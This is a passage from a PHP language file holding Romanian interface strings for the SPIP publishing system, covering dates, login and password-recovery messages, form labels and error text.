'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'mâine',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour_heure' => '@jour@ la @heure@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => '@nomjour@ @date@',
'date_fmt_periode_from' => 'De la',
'date_fmt_periode_to' => 'la',
'date_heures' => 'ore',
'date_hier' => 'ieri',
'date_il_y_a' => 'acum @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Duminică',
'date_jour_1_abbr' => 'dum.',
'date_jour_1_initiale' => 'd.',
'date_jour_2' => 'Luni',
'date_jour_2_abbr' => 'lun.',
'date_jour_2_initiale' => 'l.',
'date_jour_3' => 'Marţi',
'date_jour_3_abbr' => 'mar.',
'date_jour_3_initiale' => 'ma.',
'date_jour_4' => 'Miercuri',
'date_jour_4_abbr' => 'mie.',
'date_jour_4_initiale' => 'mi.',
'date_jour_5' => 'Joi',
'date_jour_5_abbr' => 'joi',
'date_jour_5_initiale' => 'j.',
'date_jour_6' => 'Vineri',
'date_jour_6_abbr' => 'vin.',
'date_jour_6_initiale' => 'v.',
'date_jour_7' => 'Sâmbătă',
'date_jour_7_abbr' => 'sâm.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'zile',
'date_minutes' => 'minute',
'date_mois' => 'luni',
'date_mois_1' => 'ianuarie',
'date_mois_10' => 'octombrie',
'date_mois_10_abbr' => 'oct.',
'date_mois_11' => 'noiembrie',
'date_mois_11_abbr' => 'noi.',
'date_mois_12' => 'decembrie',
'date_mois_12_abbr' => 'dec.',
'date_mois_1_abbr' => 'ian.',
'date_mois_2' => 'februarie',
'date_mois_2_abbr' => 'feb.',
'date_mois_3' => 'martie',
'date_mois_3_abbr' => 'mar.',
'date_mois_4' => 'aprilie',
'date_mois_4_abbr' => 'apr.',
'date_mois_5' => 'mai',
'date_mois_5_abbr' => 'mai',
'date_mois_6' => 'iunie',
'date_mois_6_abbr' => 'iun.',
'date_mois_7' => 'iulie',
'date_mois_7_abbr' => 'iul.',
'date_mois_8' => 'august',
'date_mois_8_abbr' => 'aug.',
'date_mois_9' => 'septembrie',
'date_mois_9_abbr' => 'sep.',
'date_saison_1' => 'iarna',
'date_saison_2' => 'primăvara',
'date_saison_3' => 'vara',
'date_saison_4' => 'toamna',
'date_secondes' => 'secunde',
'date_semaines' => 'săptămâni',
'date_un_mois' => 'luna',
'date_une_heure' => 'ora',
'date_une_minute' => 'minut',
'date_une_seconde' => 'secunda',
'date_une_semaine' => 'saptamana',
'dirs_commencer' => ' pentru a începe cu adevărat instalarea',
'dirs_preliminaire' => 'Preliminar : <b>Reglaţi drepturile de acces</b>',
'dirs_probleme_droits' => 'Problemă de drepturi de acces',
'dirs_repertoires_absents' => '<p><b>Următoarele directoare nu au fost găsite :</b></p> <ul>@bad_dirs@.</ul>
<p>Cel mai probabil, această situaţie este datorată unei probleme de litere majuscule sau minuscule.
Verificați ca litere majuscule şi minuscule a acestor directoare să concorde cu ceea ce este afişat
mai sus; dacă nu este cazul, redenumiți directoarele cu ajutorul programului dumneavoastră favorit de FTP pentru a corecta eroarea.
<p>Odată terminată această manipulare, puteți ',
'dirs_repertoires_suivants' => '<p><b>Directoarele următoare nu sunt accesibile în mod scriere :</b></p> <ul>@bad_dirs@.</ul>
<p>Pentru a remedia această problemă, utilizaţi clientul dumneavoastră favorit de FTP pentru a modifica drepturile de acces ale fiecărui
dintre aceste directoare. Procedura este explicată în detaliu în manualul de instalare.</p>
<p>Odată terminată această manipulare, puteţi ',
'double_occurrence' => 'Ocurenţă dublă a @balise@',
// E
'en_cours' => 'în curs',
'envoi_via_le_site' => 'Trimitere via site',
'erreur' => 'Eroare',
'erreur_balise_non_fermee' => 'ultima baliză (tag) ne-închisă:',
'erreur_texte' => 'eroare(i)',
'etape' => 'Etapă',
// F
'fichier_introuvable' => 'Fişier @fichier@ de negăsit',
'form_auteur_confirmation' => 'Confirmaţi adresa dumneavoastră de email',
'form_auteur_email_modifie' => 'Adresa dumneavoastră de email a fost modificată.',
'form_auteur_envoi_mail_confirmation' => 'Un email de confirmare a fost trimis la @email@. Trebuie să vizitaţi adresa de web menţionată în email pentru a valida adresa de email.',
'form_auteur_mail_confirmation' => 'Bună ziua,
Aţi cerut modificarea dresei dumneavoastră de email.
Pentru a confirma noua adresă, e suficient să vă conectaţi la
adresa de mai jos (în caz contrat cererea dumneavoastră va fi ignorată) :
@url@
',
'form_deja_inscrit' => 'Sunteţi deja înscris.',
'form_email_non_valide' => 'Adresa dumneavoastră de email nu este valabilă.',
'form_forum_access_refuse' => 'Nu mai aveţi dreptul de acces la acest site.',
'form_forum_bonjour' => 'Bun? ziua @nom@,',
'form_forum_confirmer_email' => 'Pentru a confirma adresa dvs. de email, vizitaţi această adresă: @url_confirm@',
'form_forum_email_deja_enregistre' => 'Această adresă de email este deja înregistrată. Puteţi, aşadar, utiliza parola dumneavoastră obişnuită.',
'form_forum_identifiant_mail' => 'Noul dumneavoastră identificator tocmai v-a fost trimis pe email.',
'form_forum_identifiants' => 'Identificatori personali',
'form_forum_indiquer_nom_email' => 'Indicaţi aici numele și adresa dumneavoastra de email. Identificatorul dumneavoastră personal vă va parveni în scurt timp prin email.',
'form_forum_login' => 'login :',
'form_forum_message_auto' => '(acesta este un mesaj automatic)',
'form_forum_pass' => 'parola :',
'form_forum_probleme_mail' => 'Problemă de email : identificatorul nu poate fi trimis.',
'form_forum_voici1' => 'Iată identificatorii dumneavoastră pentru a participa la activitatea
site-ului "@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Iată identificatorii dvs. pentru a putea propune articole pe
site-ul "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Vă rugăm sa indicaţi adresa dumneavoastră de email.',
'form_indiquer_nom' => 'Va rugăm să indicaţi numele dumneavoastră.',
'form_indiquer_nom_site' => 'Vă rugăm să indicaţi adresa site-ul dumneavoastră de web.',
'form_pet_deja_enregistre' => 'Acest site este deja înregistrat',
'form_pet_signature_pasprise' => 'Semnătura dumneavoastră nu a fost luată în considerare.',
'form_prop_confirmer_envoi' => 'Confirmaţi trimiterea',
'form_prop_description' => 'Descriere/comentariu',
'form_prop_enregistre' => 'Propunerea dumneavoastră a fost înregistrată, ea va fi publicată după validarea ei de către responsabilii acestui site.',
'form_prop_envoyer' => 'Trimiteţi un mesaj',
'form_prop_indiquer_email' => 'Vă rugăm să indicaţi o adresă de email valabilă',
'form_prop_indiquer_nom_site' => 'Va rugăm să indicaţi numele site-ului.',
'form_prop_indiquer_sujet' => 'Va rugăm să indicaţi un subiect',
'form_prop_message_envoye' => 'Mesaj trimis',
'form_prop_non_enregistre' => 'Propunerea dumneavoastră nu a fost înregistrată.',
'form_prop_sujet' => 'Subiect',
'form_prop_url_site' => 'Adresa (URL-ul) site-ului', # MODIF
'forum_non_inscrit' => 'Nu sunteţi înscris, sau adresa ori parola dumneavoastră nu sunt corecte.',
'forum_par_auteur' => 'de @auteur@',
'forum_titre_erreur' => 'Eroare...',
// I
'ical_texte_rss_articles' => 'Fişierul «backend» al articolelor acestui site se găseşte la adresa:',
'ical_texte_rss_articles2' => 'Puteţi, de asemenea, obţine fişierele «backend» pentru articolele fiecărei rubrici de pe site:',
'ical_texte_rss_breves' => 'Există, de asemenea, un fişier conţinând ştirile acestui site. Precizând numărul rubricii, veţi obţine doar ştirile acelei rubrici.',
'icone_a_suivre' => 'Prima pagină',
'icone_admin_site' => 'Administrarea site-ului',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Ajutor',
'icone_articles' => 'Articole',
'icone_auteurs' => 'Autori',
'icone_brouteur' => 'Navigare rapidă',
'icone_configuration_site' => 'Configurare',
'icone_configurer_site' => 'Configuraţi-vă site-ul',
'icone_creer_nouvel_auteur' => 'Creaţi un nou autor',
'icone_creer_rubrique' => 'Creaţi o rubrică',
'icone_creer_sous_rubrique' => 'Creaţi o sub-rubrică',
'icone_deconnecter' => 'Deconectaţi-vă',
'icone_discussions' => 'Discuţii',
'icone_doc_rubrique' => 'Documentele rubricilor',
'icone_ecrire_article' => 'Scrieţi un nou articol',
'icone_edition_site' => 'Editaţi',
'icone_gestion_langues' => 'Gestiunea limbilor',
'icone_informations_personnelles' => 'Informaţii personale',
'icone_interface_complet' => 'interfaţa completă',
'icone_interface_simple' => 'interfaţa simplificată',
'icone_maintenance_site' => 'Întreţinerea site-ului',
'icone_messagerie_personnelle' => 'Mesageria personală',
'icone_repartition_debut' => 'Afişaţi repartiţia de la început',
'icone_rubriques' => 'Rubrici',
'icone_sauver_site' => 'Salvarea site-ului',
'icone_site_entier' => 'Tot site-ul',
'icone_sites_references' => 'Site-uri referenţiate',
'icone_statistiques' => 'Statisticile site-ului',
'icone_suivi_activite' => 'Urmăriţi activitatea site-ului',
'icone_suivi_actualite' => 'Evoluţia site-ului',
'icone_suivi_pettions' => 'Urmăriţi/gestionaţi petiţiile',
'icone_suivi_revisions' => 'Modificări ale articolelor',
'icone_supprimer_document' => 'Suprimaţi acest document',
'icone_supprimer_image' => 'Suprimaţi această imagine',
'icone_tous_articles' => 'Toate articolele dvs.',
'icone_tous_auteur' => 'Toţi autorii',
'icone_tous_visiteur' => 'Toţi vizitatorii',
'icone_visiter_site' => 'Vizitaţi site-ul public',
'icone_voir_en_ligne' => 'Vedeţi în direct',
'img_indisponible' => 'imagine nedisponibilă',
'impossible' => 'imposibil',
'info_a_suivre' => 'DE URMĂRIT »',
'info_acces_interdit' => 'Acces interzis',
'info_acces_refuse' => 'Acces refuzat',
'info_action' => 'Acțiune : @action@',
'info_administrer_rubriques' => 'Puteţi administra această rubrică şi sub-rubricile ei',
'info_adresse_non_indiquee' => 'Nu aţi indicat adresa de testat !',
'info_aide' => 'AJUTOR :',
'info_ajouter_mot' => 'Adăugaţi acest cuvânt',
'info_annonce' => 'ANUNŢ',
'info_annonces_generales' => 'Anunţuri generale :',
'info_article_propose' => 'Articol propus',
'info_article_publie' => 'Articol publicat',
'info_article_redaction' => 'Articol în curs de redactare',
'info_article_refuse' => 'Articol refuzat',
'info_article_supprime' => 'Articol suprimat',
'info_articles' => 'Articole',
'info_articles_a_valider' => 'Articole pentru validare',
'info_articles_nb' => '@nb@ articole',
'info_articles_proposes' => 'Articole propuse',
'info_articles_un' => '1 articol',
'info_auteurs_nombre' => 'autor(i) :',
'info_authentification_ftp' => 'Autentificare (prin FTP).',
'info_breves_2' => 'ştiri',
'info_breves_nb' => '@nb@ ştiri',
'info_breves_un' => '1 ştire',
'info_connexion_refusee' => 'Conexiune refuzată',
'info_contact_developpeur' => 'Vă rugăm să contactaţi un dezvoltator.',
'info_contenance' => 'Acest site conţine :',
'info_contribution' => 'contribuţii',
'info_copyright' => '@spip@ este un program liber distribuit @lien_gpl@.',
'info_copyright_doc' => 'Pentru mai multe informaţii, vizitaţi site-ul <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'sub licenţă GPL',
'info_cours_edition' => 'În curs de redactare',
'info_creer_repertoire' => 'Vă rugăm să creaţi un fișier sau un director numit :',
'info_creer_repertoire_2' => 'sub directorul <b>@repertoire@</b>, apoi :',
'info_creer_vignette' => 'crearea viniétei în mod automat ',
'info_deplier' => 'Desfaceţi',
'info_descriptif_nombre' => 'descriere(i) :',
'info_description' => 'Descriere :',
'info_description_2' => 'Descriere :',
'info_dimension' => 'Dimensiuni :',
'info_documents_nb' => '@nb@ documente',
'info_documents_un' => '1 document',
'info_ecire_message_prive' => 'Scrieţi un nou mesaj privat',
'info_email_invalide' => 'Adresă invalidă de email.',
'info_en_cours_validation' => 'Articolele dvs. în curs de redactare',
'info_en_ligne' => 'În acest moment în linie :',
'info_envoyer_message_prive' => 'Trimiteţi un mesaj privat acestui autor',
'info_erreur_requete' => 'Eroare în cererea :',
'info_erreur_squelette2' => 'Nici un schelet <b>@fichier@</b> nu este disponibil...',
'info_erreur_systeme' => 'Eroare sistem (errno @errsys@)',
'info_erreur_systeme2' => 'Discul este probabil plin sau baza de date este coruptă.<br />
<span style="color:red;">Încercaţi să <a href=\'@script@\'>reparaţi baza de date</a>, sau contactaţi-l pe furnizorul dumneavoastră de internet.</span>',
'info_fini' => 'Este gata !',
'info_format_image' => 'Formatele de imagini care pot fi folosite la crearea viniételor : @gd_formats@.',
'info_format_non_defini' => 'format nedefinit',
'info_grand_ecran' => 'Ecran mare',
'info_image_aide' => 'AJUTOR',
'info_image_process_titre' => 'Metoda pentru elaborarea vinietelor',
'info_impossible_lire_page' => '<b>Eroare !</b> Imposibil de citit pagina <tt><html>@test_proxy@</html></tt> prin intermediul proxy-ului',
'info_installation_systeme_publication' => 'Instalarea sistemului de publicare...',
'info_installer_documents' => 'Puteţi instala în mod automat toate documentele conţinute în directorul @upload@.',
'info_installer_ftp' => 'Ca administrator, puteţi să instalaţi (prin FTP) fişiere în directorul @upload@ pentru ca mai apoi să le selecţionaţi direct aici.',
'info_installer_images' => 'Puteţi instala imagini în formatele JPEG, GIF şi PNG.',
'info_installer_images_dossier' => 'Instalaţi imagini în directorul @upload@ pentru a putea să le selecţionaţi aici.',
'info_interface_complete' => 'interfaţa completă',
'info_interface_simple' => 'Interfaţa simplificată',
'info_joindre_document_article' => 'Puteţi să ataşaţi acestui articol documente de tipul',
'info_joindre_document_rubrique' => 'Puteţi să ataşaţi acestei rubrici documente de tipul',
'info_joindre_documents_article' => 'Puteţi să ataşaţi articolului dumneavoastră documente de tipul :',
'info_l_article' => 'articolul',
'info_la_breve' => 'ştirea',
'info_la_rubrique' => 'rubrica',
'info_langue_principale' => 'Limba principală a site-ului',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixeli',
'info_les_auteurs_1' => 'de @les_auteurs@',
'info_logo_format_interdit' => 'Doar viniétele cu formatul @formats@ sunt autorizate.',
'info_logo_max_poids' => 'Viniétele trebuie în mod obligatoriu să fie mai mici de @maxi@ (acest fişier are @actuel@).',
'info_mail_fournisseur' => 'dumneavoastră@furnizor.ro',
'info_message_2' => 'MESAJ',
'info_message_supprime' => 'MESAJ ŞTERS',
'info_messages_nb' => '@nb@ messages',
'info_messages_un' => '1 mesaj',
'info_mise_en_ligne' => 'Data publicării :',
'info_modification_parametres_securite' => 'modificări ale parametrilor de securitate',
'info_mois_courant' => 'În timpul lunii :',
'info_mot_cle_ajoute' => 'Cuvântul-cheie următor a fost adăugat la',
'info_multi_herit' => 'Limba implicită',
'info_multi_langues_soulignees' => '<u>Limbile subliniate</u> beneficiază de o traducere a tuturor textelor interfeţei. Dacă veţi selecţiona o astfel de limbă, numeroase elemente ale site-ului public (date, formulare) vor fi traduse în mod automat. Pentru limbile nesubliniate, aceste elemente vor apare în limba principală a site-ului.', # MODIF
'info_multilinguisme' => 'Multilingvism',
'info_nom_non_utilisateurs_connectes' => 'Numele dumneavoastră nu apare în lista utilizatorilor conectaţi.',
'info_nom_utilisateurs_connectes' => 'Numele dumneavoastră apare în lista utilizatorilor conectaţi.',
'info_nombre_en_ligne' => 'Acum în linie :',
'info_non_resultat' => 'Nici un rezultat pentru "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Nu puteţi utiliza mesageria internă a acestui site.',
'info_nouveau_message' => 'AVEŢI UN NOU MESAJ',
'info_nouveaux_messages' => 'AVEŢI @total_messages@ MESAJE NOI',
'info_numero_abbreviation' => 'Nr ',
'info_obligatoire' => 'Această informaţie este obligatorie',
'info_pense_bete' => 'CIORNĂ',
'info_petit_ecran' => 'Ecran mic',
'info_petition_close' => 'Petiţie închisă',
'info_pixels' => 'pixeli',
'info_plusieurs_mots_trouves' => 'Mai multe cuvinte-cheie găsite pentru "@cherche_mot@":',
'info_portfolio_automatique' => 'Portofoliu automatic :',
'info_premier_resultat' => '[@debut_limit@ primele rezultate din @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primele rezultate din @total@]',
'info_propose_1' => '[@nom_site_spip@] Propune : @titre@',
'info_propose_2' => 'Articol propus
---------------',
'info_propose_3' => 'Articolul "@titre@" este propus pentru publicare.',
'info_propose_4' => 'Sunteţi invitat să consultaţi şi să vă exprimaţi opinia',
'info_propose_5' => ' în forum-ul care îi este anexat. Acesta este disponibil la adresa :',
'info_publie_01' => 'Articolul "@titre@" a fost validat de către @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICĂ : @titre@',
'info_publie_2' => 'Articol publicat
--------------',
'info_rechercher' => 'Căutaţi',
'info_rechercher_02' => 'Căutaţi :',
'info_remplacer_vignette' => 'Înlocuiţi viniéta implicită cu o viniétă personalizată :',
'info_rubriques_nb' => '@nb@ rubrici',
'info_rubriques_un' => '1 rubrică',
'info_sans_titre_2' => 'fără titlu',
'info_selectionner_fichier' => 'Puteţi selecţiona un fişier din directorul @upload@',
'info_selectionner_fichier_2' => 'Selecţionaţi un fişier :',
'info_sites_nb' => '@nb@ site-uri',
'info_sites_un' => '1 site',
'info_supprimer_vignette' => ' suprimaţi vinieta',
'info_symbole_bleu' => 'Simbolul <b>albastru</b> indică o <b>ciornă</b>: adică un mesaj pentru folosinţa dumneavoastră personală.',
'info_symbole_jaune' => 'Simbolul <b>galben</b> indică un <b>anunţ către toţi redactorii</b> : modificabil de către toţi administratorii şi vizibil pentru toţi redactorii.',
'info_symbole_vert' => 'Simbolul <b>verde</b> indică un <b>mesaj schimbat cu ceilalţi utilizatori</b> ai site-ului.',
'info_telecharger_nouveau_logo' => 'Încărcaţi o nouă viniétă :',
'info_telecharger_ordinateur' => 'Încărcaţi de pe calculatorul dumneavoastră :',
'info_tous_resultats_enregistres' => '[toate rezultatele sunt înregistrate]',
'info_tout_afficher' => 'Afişaţi totul',
'info_travaux_texte' => 'Acest site nu a fost încă configurat. Reveniţi altă dată...',
'info_travaux_titre' => 'Site în lucru',
'info_trop_resultat' => 'Prea multe rezultate pentru "@cherche_mot@" ; vă rugăm să micşoraţi domeniul de căutare.',
'info_utilisation_messagerie_interne' => 'Utilizaţi sistemul de mesagerie internă al site-ului.',
'info_valider_lien' => ' validaţi această legătură',
'info_verifier_image' => ', vă rugăm să verificaţi că imaginile au fost transferate corect.',
'info_vignette_defaut' => 'Vinietă implicită',
'info_vignette_personnalisee' => 'Vinietă personalizată',
'info_visite' => 'vizită :',
'info_vos_rendez_vous' => 'Următoarele dumneavoastră întâlniri',
'infos_vos_pense_bete' => 'Ciornele dumneavoastră',
// L
'label_poids_fichier' => 'Mărime',
'lien_afficher_icones_seuls' => 'Afişaţi doar iconiţe',
'lien_afficher_texte_icones' => 'Afişaţi iconiţe şi text',
'lien_afficher_texte_seul' => 'Afişaţi doar text',
'lien_liberer' => 'eliberaţi',
'lien_liberer_tous' => 'Eliberaţi toate articolele',
'lien_nouvea_pense_bete' => 'CIORNĂ NOUĂ',
'lien_nouveau_message' => 'MESAJ NOU',
'lien_nouvelle_annonce' => 'ANUNŢ NOU',
'lien_petitions' => 'PETIŢIE',
'lien_popularite' => 'popularitate : @popularite@%',
'lien_racine_site' => 'RĂDĂCINA SITE-ULUI',
'lien_reessayer' => 'reîncercaţi',
'lien_repondre_message' => 'Răspundeţi la acest mesaj',
'lien_supprimer' => 'ştergeţi',
'lien_tout_afficher' => 'Afişaţi totul',
'lien_visite_site' => 'vizitaţi acest site',
'lien_visites' => '@visites@ vizite',
'lien_voir_auteur' => 'Vedeţi acest autor',
'ligne' => 'Linie',
'login' => 'Conexiune',
'login_acces_prive' => 'acces la secţiunea privată',
'login_autre_identifiant' => 'conectare sub un alt cont',
'login_cookie_accepte' => 'Vă rugăm să reglaţi navigatorul dumneavoastră de web în aşa fel încât să accepte cookies (cel puţin pentru acest site).',
'login_cookie_oblige' => 'Pentru a fi identificat de o manieră sigură pe acest site va trebui să acceptaţi cookies.',
'login_deconnexion_ok' => 'Deconectare OK.',
'login_erreur_pass' => 'Eroare de parolă.',
'login_espace_prive' => 'spaţiu privat',
'login_identifiant_inconnu' => 'identificatorul « @login@ » este necunoscut.',
'login_login' => 'Login :',
'login_login2' => 'Login sau adresa email :',
'login_login_pass_incorrect' => '(Login sau parolă incorectă.)',
'login_motpasseoublie' => 'parolă uitată ?',
'login_non_securise' => 'Atenţie, acest formular nu este securizat.
Dacă nu doriţi ca parola dumneavoastră să poată fi interceptată pe net, vă rugăm să activaţi Javascript
pentru navigatorul dumneavoastră de web şi',
'login_nouvelle_tentative' => 'O nouă încercare',
'login_par_ici' => 'Sunteţi înregistrat... vă rugam să veniţi pe aici...',
'login_pass2' => 'Parolă :',
'login_preferez_refuser' => '<b>Dacă preferaţi să refuzaţi cookies</b>, există o altă metodă de conectare (mai puţin sigură) la dispoziţia dumneavoastră :',
'login_recharger' => 're-încărcaţi această pagină',
'login_rester_identifie' => 'Rămâneţi autentificat pentru câteva zile',
'login_retour_public' => 'Înapoi la site-ul public',
'login_retour_site' => 'Înapoi la site-ul public',
'login_retoursitepublic' => 'înapoi la site-ul public',
'login_sans_cookiie' => 'Identificare fără cookie',
'login_securise' => 'Login securizat',
'login_sinscrire' => 'înscrieţi-vă',
'login_test_navigateur' => 'test de navigator/reconectare',
'login_verifiez_navigateur' => '(Verificaţi totuşi că navigatorul de web nu a memorat parola dumneavoastră...)',
// M
'masquer_colonne' => 'Mascaţi această coloană',
'masquer_trad' => 'mascaţi traducerile',
'module_fichiers_langues' => 'Fişiere de limbă',
// N
'navigateur_pas_redirige' => 'Dacă navigatorul dumneavoastră nu este redirijat în mod automatic, faceţi click aici pentru a continua.',
'numero' => 'Număr',
// O
'occurence' => 'Ocurenţă',
'onglet_affacer_base' => 'Ştergeţi baza',
'onglet_auteur' => 'Autorul',
'onglet_contenu_site' => 'Conţinutul site-ului',
'onglet_evolution_visite_mod' => 'Evoluţie',
'onglet_fonctions_avances' => 'Funcţii avansate',
'onglet_informations_personnelles' => 'Informaţii personale',
'onglet_interactivite' => 'Interactivitate',
'onglet_messagerie' => 'Mesagerie',
'onglet_repartition_rubrique' => 'Repartiţia pe rubrici',
'onglet_save_restaur_base' => 'Salvaţi/restauraţi baza de date',
'onglet_vider_cache' => 'Goliţi memoria tampon',
// P
'pass_choix_pass' => 'Vă rugăm să alegeţi noua dumneavoastră parolă :',
'pass_erreur' => 'Eroare',
'pass_erreur_acces_refuse' => '<b>Eroare :</b> nu mai aveţi acces la acest site.',
'pass_erreur_code_inconnu' => '<b>Eroare :</b> acest cod nu corespunde nici unui vizitator având acces la site.',
'pass_erreur_non_enregistre' => '<b>Eroare :</b> adresa <tt>@email_oubli@</tt> nu este înregistrată pe acest site.',
'pass_erreur_non_valide' => '<b>Eroare :</b> acest email <tt>@email_oubli@</tt> nu este valabil !',
'pass_erreur_probleme_technique' => '<b>Eroare :</b> din cauza unei probleme tehnice, email-ul nu a putut fi trimis.',
'pass_espace_prive_bla' => 'Spaţiul privat al acestui site este deschis
vizitatorilor după înscriere. Odată înregistrat
veţi putea consulta articolele în curs de editare,
veţi putea propune articole şi veţi putea participa la toate forum-urile.',
'pass_forum_bla' => 'Aţi cerut să interveniţi pe un forum
rezervat vizitatorilor înregistraţi.',
'pass_indiquez_cidessous' => 'Vă rugăm să indicați adresa de email cu care v-aţi înregistrat în trecut.
Veţi primi un email care vă va indica paşii necesari recuperării accesului la site.',
'pass_mail_passcookie' => '(acesta este un mesaj automatic)
Pentru a regăsi accesul la site-ul
@nom_site_spip@ (@adresse_site@)
Vă rugăm să vizitaţi adresa următoare :
@sendcookie@
Veţi putea după aceea alege o nouă parolă şi veţi putea să vă reconectaţi la site.
',
'pass_mot_oublie' => 'Parolă uitată',
'pass_nouveau_enregistre' => 'Noua dumneavoastră parolă a fost înregistrată.',
'pass_nouveau_pass' => 'Parolă nouă',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Parolă uitată',
'pass_quitter_fenetre' => 'Părăsiţi această fereastră',
'pass_rappel_login' => 'Atenţie : identificatorul dumneavoastră (login) este « @login@ ».',
'pass_recevoir_mail' => 'Veţi primi în curând un email care vă va indica cum puteţi să recuperaţi accesul la site.',
'pass_retour_public' => 'Întoarceţi-vă la site-ul public',
'pass_rien_a_faire_ici' => 'Nimic de făcut aici.',
'pass_vousinscrire' => 'Înscrieţi-vă pe acest site',
'precedent' => 'precedent',
'previsualisation' => 'pre-vizualizare',
'previsualiser' => 'Pre-vizualizare',
// R
'retour' => 'Retur',
// S
'spip_conforme_dtd' => 'SPIP consideră acest document ca fiind conform cu DOCTYPE-ul său: ',
'squelette' => 'schelet',
'squelette_inclus_ligne' => 'schelet inclus, linia',
'squelette_ligne' => 'schelet, linia',
'stats_visites_et_popularite' => '@visites@ vizite ; popularitate : @popularite@',
'suivant' => 'următorul',
// T
'taille_ko' => '@taille@ ko',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ octeţi',
'texte_actualite_site_1' => 'Când veţi fi familiarizat cu interfaţa, puteţi face click pe «',
'texte_actualite_site_2' => 'interfaţa completă',
'texte_actualite_site_3' => '» pentru a vă deschide mai multe posibilităţi.',
'texte_creation_automatique_vignette' => 'Crearea automatică de viniete de pre-vizualizare este activată pe acest site. Dacă veţi instala imagini cu ajutorul acestui formular în formatele @gd_formats@, ele vor fi acompaniate de o vinietă de o talie maximală de @taille_preview@ pixeli.',
'texte_documents_associes' => 'Documentele următoare sunt asociate articolului,
dar nu au fost inserate în mod direct. În funcţie de punerea în pagină a site-ului public,
acestea ar putea apărea ca documente ataşate.',
'texte_erreur_mise_niveau_base' => 'Eroare la nivelul bazei de date în timpul actualizării.
Imaginea <b>@fichier@</b> nu a trecut (articolul @id_article@).
Notaţi această referinţă, re-încercaţi o actualizare şi verificaţi dacă imaginile apar
în articole.',
'texte_erreur_visiteur' => 'Aţi încercat să accesaţi secţiunea protejată cu un nume de utilizator fără drepturi.',
'texte_inc_auth_1' => 'V-aţi identificat cu
login <b>@auth_login@</b>, dar acesta nu (mai) există în baza de date.
Încercaţi să',
'texte_inc_auth_2' => 'vă reconectaţi',
'texte_inc_auth_3' => ', după ce, eventual, aţi părăsit şi redemarat navigatorul de web.',
'texte_inc_config' => 'Modificările efectuate în aceste pagini au influenţă directă asupra funcţionării site-ului. Vă recomandăm să nu interveniţi atât timp cât nu sunteţi familiarizat cu funcţionarea sistemului SPIP. <br /><br /><b>În
general, este recomandat să lăsaţi aceste pagini în sarcina webmaster-ului principal al acestui site.</b>',
'texte_inc_meta_1' => 'Sistemul a întâlnit o eroare la scrierea fişierului <code>@fichier@</code>. Vă rugam ca, în calitate de administrator al acestui site,',
'texte_inc_meta_2' => 'să verificaţi drepturile de scriere',
'texte_inc_meta_3' => 'în directorul <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'în curs de redactare',
'texte_statut_poubelle' => 'la coşul de gunoi',
'texte_statut_propose_evaluation' => 'propus pentru evaluare',
'texte_statut_publie' => 'publicat în direct',
'texte_statut_refuse' => 'refuzat',
'titre_ajouter_mot_cle' => 'ADĂUGAŢI UN CUVÂNT-CHEIE :',
'titre_cadre_raccourcis' => 'SCURTĂTURI :',
'titre_changer_couleur_interface' => 'Schimbă culoarea interfeţei',
'titre_image_admin_article' => 'Puteţi administra acest articol',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'Ajutor despre acest element',
'titre_image_auteur_supprime' => 'Autor suprimat',
'titre_image_redacteur' => 'Redactor fără acces',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_visiteur' => 'Vizitator',
'titre_joindre_document' => 'ATAŞAŢI DOCUMENT',
'titre_mots_cles' => 'CUVINTE-CHEIE',
'titre_probleme_technique' => 'Atenţie : o problemă tehnică (server SQL) împiedică accesul la această parte a site-ului. Vă mulţumim pentru înţelegere.',
'titre_publier_document' => 'PUBLICĂ UN DOCUMENT ÎN ACEASTĂ RUBRICĂ',
'titre_signatures_attente' => 'Semnături în aşteptarea validării',
'titre_signatures_confirmees' => 'Semnături confirmate',
'titre_statistiques' => 'Statisticile site-ului',
'titre_titre_document' => 'Titlul documentului:',
'todo' => 'de făcut',
'trad_reference' => '(referinţa traducerilor)',
// Z
'zbug_balise_b_aval' => ' : element B înainte',
'zbug_balise_inexistante' => 'Baliza @balise@ nu este bine declarată pentru @from@',
'zbug_balise_sans_argument' => 'Argument lipsă în baliza @balise@',
'zbug_boucle' => 'buclă',
